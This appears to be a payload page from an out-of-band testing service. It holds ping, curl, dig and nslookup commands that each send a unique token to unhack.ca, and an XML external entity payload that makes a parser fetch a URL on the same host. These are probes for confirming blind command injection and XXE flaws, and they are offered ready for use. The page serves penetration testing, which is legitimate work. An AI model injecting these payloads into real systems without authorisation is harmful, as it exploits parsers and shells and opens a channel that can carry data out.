$ ping -c1 -p 00ef73cfa1b139011ec900b26a1f7c00 unhack.ca
 

$ curl http://unhack.ca/p/ef73cfa1b139011ec900b26a1f7c
 

$ dig ef73cfa1b139011ec900b26a1f7c @unhack.ca
 

$ dig ef73cfa1b139011ec900b26a1f7c.ns.unhack.ca
 

C:\> nslookup ef73cfa1b139011ec900b26a1f7c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ef73cfa1b139011ec900b26a1f7c">]>
    <foo>&xxe;</foo>